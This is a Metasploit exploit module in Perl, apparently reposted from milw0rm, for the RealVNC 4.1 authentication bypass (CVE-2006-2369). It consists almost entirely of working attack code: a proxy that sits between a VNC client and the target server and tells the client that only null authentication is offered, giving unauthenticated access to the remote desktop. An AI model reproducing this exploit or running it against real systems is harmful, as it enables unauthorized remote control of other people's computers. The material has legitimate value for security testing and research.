RealVNC 4.1.0 < 4.1.1 - VNC Null Authentication Bypass (Metasploit)

Related Vulnerabilities: CVE-2006-2369  
Publish Date: 15 May 2006
Author: H D Moore
                							

                ##
# This file is part of the Metasploit Framework and may be redistributed
# according to the licenses defined in the Authors field below. In the
# case of an unknown or missing license, this file defaults to the same
# license as the core Framework (dual GPLv2 and Artistic). The latest
# version of the Framework can always be obtained from metasploit.com.
##

package Msf::Exploit::realvnc_41_bypass;

use strict;
use base "Msf::Exploit";
use Pex::Text;
use IO::Socket::INET;
use POSIX;

my $advanced = {};
my $info =
  {
	'Name'           =&gt; 'RealVNC 4.1 Authentication Bypass',
	'Version'        =&gt; '$Revision: 1.1 $',
	'Authors'        =&gt; [ 'H D Moore &lt;hdm[at]metasploit.com&gt;' ],
	'Description'    =&gt;
	  Pex::Text::Freeform(qq{
		This module exploits an authentication bypass flaw in version
	4.1.0 and 4.1.1 of the RealVNC service. This module acts as a proxy
	between a VNC client and a vulnerable server. Credit for this should
	go to James Evans, who spent the time to figure this out after RealVNC
	released a binary-only patch.
}),

	'Arch'           =&gt; [  ],
	'OS'             =&gt; [  ],
	'Priv'           =&gt; 0,

	'UserOpts'       =&gt;
	  {
		'LPORT'   =&gt; [ 1, 'PORT', 'The local VNC listener port',  5900      ],
		'LHOST'   =&gt; [ 1, 'HOST', 'The local VNC listener host', "0.0.0.0"  ],
		'RPORT'   =&gt; [ 1, 'PORT', 'The remote VNC target port', 5900      ],
		'RHOST'   =&gt; [ 1, 'HOST', 'The remote VNC target host'],
		'AUTOCONNECT' =&gt; [1, 'DATA', 'Automatically launch vncviewer', 1],
	  },

	'Refs'            =&gt;
	  [
		['URL', 'http://secunia.com/advisories/20107/']
	  ],

	'DefaultTarget'  =&gt; 0,
	'Targets'        =&gt;
	  [
		[ 'RealVNC' ],
	  ],

	'Keys'           =&gt; [ 'realvnc' ],

	'DisclosureDate' =&gt; 'May 15 2006',
  };

sub new
{
	my $class = shift;
	my $self;

	$self = $class-&gt;SUPER::new(
		{
			'Info'     =&gt; $info,
			'Advanced' =&gt; $advanced,
		},
		@_);

	return $self;
}

sub Exploit
{
	my $self = shift;
	my $server = IO::Socket::INET-&gt;new(
		LocalHost =&gt; $self-&gt;GetVar('LHOST'),
		LocalPort =&gt; $self-&gt;GetVar('LPORT'),
		ReuseAddr =&gt; 1,
		Listen    =&gt; 1,
		Proto     =&gt; 'tcp');
	my $client;

	# Did the listener create fail?
	if (not defined($server))
	{
		$self-&gt;PrintLine("[-] Failed to create local VNC listener on " . $self-&gt;GetVar('SSHDPORT'));
		return;
	}

	if ($self-&gt;GetVar('AUTOCONNECT') =~ /^(T|Y|1)/i) {
    	if (! fork()) {
        	system("vncviewer 127.0.0.1::".$self-&gt;GetVar('LPORT'));
        	exit(0);
    	}		
	}

	$self-&gt;PrintLine("[*] Waiting for VNC connections to " . $self-&gt;GetVar('LHOST') . ":" . $self-&gt;GetVar('LPORT') . "...");

	while (defined($client = $server-&gt;accept()))
	{
		$self-&gt;HandleVNCClient(fd =&gt; Msf::Socket::Tcp-&gt;new_from_socket($client));
	}

	return;
}

# Stolen from InjectVNCStage.pm
sub HandleVNCClient
{
	my $self = shift;
	my ($fd) = @{{@_}}{qw/fd/};
	my $rhost;
	my $rport;

	# Set the remote host information
	($rport, $rhost) = ($fd-&gt;PeerPort, $fd-&gt;PeerAddr);

	# Create a connection to the target system
	my $s = Msf::Socket::Tcp-&gt;new(
		'PeerAddr' =&gt; $self-&gt;GetVar('RHOST'),
		'PeerPort' =&gt; $self-&gt;GetVar('RPORT'),
		'SSL'      =&gt; $self-&gt;GetVar('SSL')
	);
	
	if ($s-&gt;IsError) {
		$self-&gt;PrintLine('[*] Could not connect to the target VNC service: ' . $s-&gt;GetError);
		$fd-&gt;Close;
		return;
	}
	
	my $res = $s-&gt;Recv(-1, 5);
	
	# Hello from server
	if ($res !~ /^RFB 003\.008/) {
		$self-&gt;PrintLine("[*] The remote VNC service is not vulnerable");
		$fd-&gt;Close;
		$s-&gt;Close;
		return;
	}
	# Send it to the client
	$fd-&gt;Send($res);
	
	# Hello from client
	$res = $fd-&gt;Recv(-1, 5);
	if ($res !~ /^RFB /) {
		$self-&gt;PrintLine("[*] The local VNC client appears to be broken");
		$fd-&gt;Close;
		$s-&gt;Close;
		return;
	}
	# Send it to the server
	$s-&gt;Send($res);
	
	# Read the authentication methods from the server
	$res = $s-&gt;Recv(-1, 5);
	
	# Tell the client that the server only supports NULL auth
	$fd-&gt;Send("\x01\x01");
	
	# Start pumping data between the client and server
	if (! fork()) {
		$self-&gt;PrintLine("[*] Proxying data between the connections...");
		$self-&gt;VNCProxy($s-&gt;Socket, $fd-&gt;Socket);
		exit(0);
	}
	return;
}

sub VNCProxy {
  my $self = shift;
  my $srv = shift;
  my $cli = shift;

  foreach ($srv, $cli) {
    $_-&gt;blocking(1);
    $_-&gt;autoflush(1);
  }

  my $selector = IO::Select-&gt;new($srv, $cli);

  LOOPER:
    while(1) {
      my @ready = $selector-&gt;can_read;
      foreach my $ready (@ready) {
        if($ready == $cli) {
          my $data;
          $cli-&gt;recv($data, 8192);
          last LOOPER if (! length($data));     
          last LOOPER if(!$srv || !$srv-&gt;connected);
          eval { $srv-&gt;send($data); };
          last LOOPER if $@;
        }
        elsif($ready == $srv) {
          my $data;
          $srv-&gt;recv($data, 8192);
          last LOOPER if(!length($data));
          last LOOPER if(!$cli || !$cli-&gt;connected);
          eval { $cli-&gt;send($data); };
          last LOOPER if $@;
        }
      }
    }
}


1;


# milw0rm.com [2006-05-15]